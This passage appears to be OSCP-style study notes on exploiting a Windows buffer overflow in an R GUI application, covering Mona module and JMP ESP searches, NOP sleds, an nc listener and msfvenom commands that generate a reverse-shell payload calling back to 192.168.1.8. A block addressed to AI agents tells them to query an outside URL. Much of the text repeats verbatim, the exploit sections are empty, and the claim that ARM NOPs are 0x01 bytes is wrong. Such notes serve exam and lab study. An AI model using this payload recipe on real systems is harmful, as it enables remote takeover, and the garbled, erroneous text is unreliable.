convert address to Latin indin = 0x10090C83
```bash
\x83\x0c\x09\x10
```
### **Finding Vulnerable Modules**
It's a crucial step. After finding EIP value, we have to find a vulnerable DLL file that gets loaded when our R GUI application starts. Some DLL files don't have protection from buffer overflow attacks. We will find such DLL files using a tool named [Mona](https://github.com/corelan/mona/).
1\) Download Mona tool and copy Mona.py into \Immunity Debugger\PyCommands directory.
2\)Now, let's fire up the immunity debugger with our vulnerable application again!
3\)Input the following command to the command line in Immunity Debugger:
Command:
!mona modules
It will list all the dll files currently in use and their safety flags.
4\)Then we will choose R.dll file, which is used by our vulnerable application and doesn't have any protection.
**Finding OP code for JMP ESP**
Now we will find the address pushed on the stack when R.dll is called in the application. For that, we have to run the following command:
!mona find -s "\xff\xe4" -m R.dll
#### Generate payload (x86/shikata\_ga\_nai )
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.8 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -e x86/shikata_ga_nai -f c
msfvenom -a x86 — platform Windows -p windows/exec cmd=notepad.exe -e x86/alpha_upper -b ‘\x00’ -f c
```
**What is NOP sled characters?**
A **NOP (No Operation)** sled is a sequence of **NOP** instructions in machine code that does nothing when executed. In a buffer overflow attack, a **NOP** sled is a filler between the injected malicious payload and the return address the attacker wants to overwrite in the vulnerable program's stack.
The purpose of an **NOP** sled is to provide a predictable and controllable path for the program's execution to reach the injected malicious payload. When a buffer overflow occurs, the excess data written to the buffer can overwrite adjacent data on the stack, including the return address. The attacker can use an **NOP** sled to increase the chances that the overwritten return address will point to the start of the **NOP** sled, leading to the execution of the malicious payload.
Here are some examples of **NOP** sleds for different architectures:
**x86 (32-bit):** The x86 architecture uses the 0x90 instruction to represent a NOP. A NOP sled for x86 can be represented as a sequence of 0x90 instructions.
**\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90**
**x86-64 (64-bit)**: The x86-64 architecture also uses the 0x90 instruction to represent a NOP. A NOP sled for x86-64 can be represented as a sequence of 0x90 instructions.
**\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90**
**ARM (32-bit):** The ARM architecture uses the 0x01 instruction to represent a NOP. A NOP sled for ARM can be represented as a sequence of 0x01 instructions.
**\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01**
Reverse shell
```bash
sudo nc -nvlp 443
```
### **Shellcode generation**
```sh
```
### **Exploitation**
FULL Exploit
## Buffer OverFlow Labs
{% embed url="" %}
{% embed url="" %}
{% embed url="" %}
References
[https://anubissec.github.io/Vulnserver-Exploiting-TRUN-Vanilla-EIP-Overwrite/#](https://anubissec.github.io/Vulnserver-Exploiting-TRUN-Vanilla-EIP-Overwrite/)
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://h3ckt0r.gitbook.io/0xsec/offensive-security/oscp/module-11-widows-buffer-overflwo.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
4\)Then we will choose R.dll file, which is used by our vulnerable application and doesn't have any protection.
**Finding OP code for JMP ESP**
Now we will find the address pushed on the stack when R.dll is called in the application. For that, we have to run the following command:
!mona find -s "\xff\xe4" -m R.dll
#### Generate payload (x86/shikata\_ga\_nai )
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.8 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -e x86/shikata_ga_nai -f c
msfvenom -a x86 — platform Windows -p windows/exec cmd=notepad.exe -e x86/alpha_upper -b ‘\x00’ -f c
```
**What is NOP sled characters?**
A **NOP (No Operation)** sled is a sequence of **NOP** instructions in machine code that does nothing when executed. In a buffer overflow attack, a **NOP** sled is a filler between the injected malicious payload and the return address the attacker wants to overwrite in the vulnerable program's stack.
The purpose of an **NOP** sled is to provide a predictable and controllable path for the program's execution to reach the injected malicious payload. When a buffer overflow occurs, the excess data written to the buffer can overwrite adjacent data on the stack, including the return address. The attacker can use an **NOP** sled to increase the chances that the overwritten return address will point to the start of the **NOP** sled, leading to the execution of the malicious payload.
Here are some examples of **NOP** sleds for different architectures:
**x86 (32-bit):** The x86 architecture uses the 0x90 instruction to represent a NOP. A NOP sled for x86 can be represented as a sequence of 0x90 instructions.
**\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90**
**x86-64 (64-bit)**: The x86-64 architecture also uses the 0x90 instruction to represent a NOP. A NOP sled for x86-64 can be represented as a sequence of 0x90 instructions.
**\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90**
**ARM (32-bit):** The ARM architecture uses the 0x01 instruction to represent a NOP. A NOP sled for ARM can be represented as a sequence of 0x01 instructions.
**\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01**
Reverse shell
```bash
sudo nc -nvlp 443
```
### **Shellcode generation**
```sh
```
### **Exploitation**